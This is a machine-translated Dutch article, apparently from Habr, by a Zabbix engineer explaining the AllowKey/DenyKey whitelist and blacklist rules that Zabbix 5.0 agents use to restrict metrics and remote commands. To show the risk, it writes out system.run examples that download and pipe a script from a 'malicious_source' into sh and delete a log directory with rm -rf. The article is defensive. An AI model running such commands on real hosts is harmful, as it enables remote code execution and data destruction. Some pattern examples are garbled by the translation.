
Ondersteuning voor zwarte en witte lijsten voor statistieken aan agentzijde
Tichon Uskov, Integratie-ingenieur, Zabbix
Problemen met gegevensbeveiliging
Zabbix 5.0 heeft een nieuwe functie waarmee u de beveiliging in systemen kunt verbeteren met behulp van Zabbix Agent en vervangt de oude parameter SchakelRemoteCommands in.
Verbeteringen in de beveiliging van op agenten gebaseerde systemen komen voort uit het feit dat een agent een groot aantal potentieel gevaarlijke acties kan uitvoeren.
- De agent kan vrijwel alle informatie verzamelen, inclusief vertrouwelijke of potentieel gevaarlijke informatie, uit configuratiebestanden, logbestanden, wachtwoordbestanden en andere bestanden.
Met het hulpprogramma zabbix_get heeft u bijvoorbeeld toegang tot een lijst met gebruikers, hun thuismappen, wachtwoordbestanden, enz.

Toegang tot gegevens met behulp van het hulpprogramma zabbix_get
NOTE. Gegevens kunnen alleen worden opgehaald als de agent leesrechten heeft voor het bijbehorende bestand. Maar bijvoorbeeld het bestand /etc/passwd/ leesbaar voor alle gebruikers.
- De agent kan ook potentieel gevaarlijke opdrachten uitvoeren. Bijvoorbeeld sleutel *systeem.run[Met ]** kunt u alle externe opdrachten uitvoeren op netwerkknooppunten, inclusief het uitvoeren van scripts vanuit de Zabbix-webinterface die ook opdrachten uitvoeren aan de agentzijde.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Op Linux draait de agent standaard zonder rootrechten, terwijl hij op Windows draait als een service als systeem en onbeperkte toegang heeft tot het bestandssysteem. Dienovereenkomstig, als er na de installatie geen wijzigingen worden aangebracht in de Zabbix Agent-parameters, heeft de agent toegang tot het register en het bestandssysteem en kan hij WMI-query's uitvoeren.
In eerdere versies was de parameter SchakelRemoteCommands=0 in alleen toegestaan om statistieken uit te schakelen met de sleutel *systeem.run[]** en het uitvoeren van scripts vanuit de webinterface, maar er was geen manier om de toegang tot individuele bestanden te beperken, individuele sleutels toe te staan of uit te schakelen die met de agent waren geïnstalleerd, of het gebruik van individuele parameters te beperken.

De parameter EnableRemoteCommand gebruiken in eerdere versies van Zabbix
AllowKey/DenyKey
Zabbix 5.0 helpt beschermen tegen dergelijke ongeautoriseerde toegang door witte en zwarte lijsten te bieden voor het toestaan en weigeren van statistieken aan de kant van de agent.
In Zabbix 5.0 alle sleutels, inclusief *systeem.run[]** zijn ingeschakeld en er zijn twee nieuwe agentconfiguratieopties toegevoegd:
ToestaanSleutel= — toegestane cheques;
DenyKey= — verboden cheques;
waar is een sleutelnaampatroon met parameters die metatekens (*) gebruiken.
Met de sleutels AllowKey en DenyKey kunt u individuele statistieken toestaan of weigeren op basis van een specifiek patroon. In tegenstelling tot andere configuratieparameters is het aantal AllowKey/DenyKey-parameters niet beperkt. Hiermee kunt u duidelijk definiëren wat de agent precies in het systeem kan doen door een boom van controles te maken: uitvoerbare sleutels, waarbij de volgorde waarin ze worden geschreven een zeer belangrijke rol speelt.
Volgorde van regels
De regels worden gecontroleerd in de volgorde waarin ze in het configuratiebestand worden ingevoerd. De sleutel wordt vóór de eerste match gecontroleerd volgens de regels, en zodra de sleutel van het data-element overeenkomt met het patroon, wordt deze toegestaan of geweigerd. Hierna stopt de regelcontrole en worden de resterende sleutels genegeerd.
Als een element dus zowel aan een allow- als een deny-regel voldoet, zal het resultaat afhangen van welke regel als eerste in het configuratiebestand staat.

2 verschillende regels met hetzelfde patroon en een sleutel vfs.bestand.grootte[/tmp/bestand]
De volgorde van het gebruik van de AllowKey/DenyKey-toetsen:
- exacte regels,
- algemene regels,
- verbodsregel.
Als u bijvoorbeeld toegang nodig heeft tot bestanden in een bepaalde map, moet u eerst toegang daartoe toestaan en vervolgens al het andere weigeren dat niet binnen de vastgestelde machtigingen valt. Als de weigeringsregel eerst wordt gebruikt, wordt de toegang tot de map geweigerd.

Juiste volgorde
Als u twee hulpprogramma's wilt laten werken via *systeem.run[]**, en de weigeringsregel wordt als eerste gespecificeerd, de hulpprogramma's worden niet gestart, omdat het eerste patroon altijd met een willekeurige sleutel overeenkomt, en daaropvolgende regels worden genegeerd.

Verkeerde volgorde
Patronen
Fundamentele regels
Patroon is een uitdrukking met jokertekens. Het metateken (*) komt overeen met een willekeurig aantal tekens op een specifieke positie. Metatekens kunnen zowel in de sleutelnaam als in parameters worden gebruikt. U kunt de eerste parameter bijvoorbeeld strikt definiëren met tekst, en geef de volgende op als jokerteken.
Parameters moeten tussen vierkante haakjes [] staan.
system.run[*- niet correctvfs.file*.txt]- niet correctvfs.file.*[*]- Rechtsaf
Voorbeelden van het gebruik van jokertekens.
- In de sleutelnaam en in de parameter. In dit geval komt de sleutel niet overeen met een vergelijkbare sleutel die geen parameter bevat, omdat we in het patroon hebben aangegeven dat we een bepaald einde van de sleutelnaam en een bepaalde set parameters willen ontvangen.
- Als het patroon geen vierkante haken gebruikt, staat het patroon alle sleutels toe die geen parameters bevatten en worden alle sleutels geweigerd die de opgegeven parameter bevatten.
- Als de sleutel volledig is geschreven en de parameters als jokerteken zijn opgegeven, zal deze overeenkomen met elke vergelijkbare sleutel met alle parameters en zal deze niet overeenkomen met de sleutel zonder vierkante haken, d.w.z. deze zal worden toegestaan of geweigerd.

Regels voor het invullen van parameters.
- Als het de bedoeling is dat er een sleutel met parameters wordt gebruikt, moeten de parameters in het configuratiebestand worden opgegeven. Parameters moeten worden opgegeven als een metateken. Het is noodzakelijk om zorgvuldig de toegang tot elk bestand te weigeren en rekening te houden met welke informatie de metriek onder verschillende spellingen kan bieden - met en zonder parameters.

Kenmerken van het schrijven van sleutels met parameters
- Als een sleutel is opgegeven met parameters, maar de parameters optioneel zijn en zijn opgegeven als een metateken, wordt een sleutel zonder parameters opgelost. Als u bijvoorbeeld het ontvangen van informatie over de belasting van de CPU wilt uitschakelen en wilt opgeven dat de sleutel system.cpu.load[*] moet worden uitgeschakeld, vergeet dan niet dat de sleutel zonder parameters de gemiddelde belastingswaarde retourneert.

Regels voor het invullen van parameters
Opmerkingen
afstelling
- Sommige regels kunnen niet door de gebruiker worden gewijzigd, bijvoorbeeld detectieregels of regels voor automatische registratie van agenten. AllowKey/DenyKey-regels hebben geen invloed op de volgende parameters:
- HostnaamItem
-HostMetadataItem
-HostInterfaceItem
NOTE. Als een beheerder een sleutel uitschakelt, geeft Zabbix bij vragen geen informatie over waarom de statistiek of sleutel in de categorie ' valtNIET ONDERSTEUND'. Informatie over verboden op het uitvoeren van opdrachten op afstand wordt ook niet weergegeven in de agentlogbestanden. Dit is om veiligheidsredenen, maar kan het opsporen van fouten bemoeilijken als de statistieken om de een of andere reden in een niet-ondersteunde categorie vallen.
- U moet niet vertrouwen op een specifieke volgorde voor het verbinden van externe configuratiebestanden (bijvoorbeeld in alfabetische volgorde).
Hulpprogramma's voor de opdrachtregel
Nadat u de regels heeft ingesteld, moet u ervoor zorgen dat alles correct is geconfigureerd.
U kunt een van de drie opties gebruiken:
- Voeg een statistiek toe aan Zabbix.
- Testen met zabbix_agentd. Zabbix-agent met optie -afdrukken (-p) toont alle sleutels (die standaard zijn toegestaan), behalve de sleutels die niet zijn toegestaan door de configuratie. En met de optie -test (-t) want een verboden sleutel zal terugkeren 'Niet-ondersteunde itemsleutel'.
- Testen met zabbix_get. Nutsvoorziening zabbix_get met optie -k zal terugkeren 'ZBX_NOTSUPPORTED: Onbekende statistiek'.
Toestaan of weigeren
U kunt de toegang tot een bestand weigeren en bijvoorbeeld verifiëren met behulp van het hulpprogramma zabbix_getdat de toegang tot het bestand wordt geweigerd.

**
NOTE. Aanhalingstekens in de parameter worden genegeerd.
In dit geval kan toegang tot een dergelijk bestand via een ander pad worden toegestaan. Bijvoorbeeld als een symlink ernaartoe leidt.

Het wordt aanbevolen om verschillende opties voor het toepassen van de gespecificeerde regels te controleren, en ook rekening te houden met de mogelijkheden om de verbodsbepalingen te omzeilen.
Vragen en antwoorden
Vraag. Waarom werd zo’n complex patroon met een eigen taal gekozen om regels, toestemmingen en verboden te beschrijven? Waarom was het niet mogelijk om bijvoorbeeld de reguliere expressies te gebruiken die Zabbix gebruikt?
Beantwoorden. Dit is een prestatieprobleem met reguliere expressies, omdat er meestal maar één agent is en deze een groot aantal statistieken controleert. Regex is een behoorlijk zware operatie en we kunnen op deze manier geen duizenden statistieken controleren. Wildcards - een universele, veelgebruikte en eenvoudige oplossing.
Vraag. Zijn de Include-bestanden niet in alfabetische volgorde opgenomen?
Beantwoorden. Voor zover ik weet is het vrijwel onmogelijk om te voorspellen in welke volgorde de regels zullen worden toegepast als je de regels over verschillende bestanden verspreidt. Ik raad aan om alle AllowKey/DenyKey-regels in één Include-bestand te verzamelen, omdat ze met elkaar communiceren, en dit bestand op te nemen.
Vraag. In Zabbix 5.0 is de optie 'SchakelRemoteCommands= in' ontbreekt in het configuratiebestand en zijn alleen AllowKey/DenyKey beschikbaar?
Antwoord. Ja dat klopt.
Dank je wel!
Bron: www.habr.com
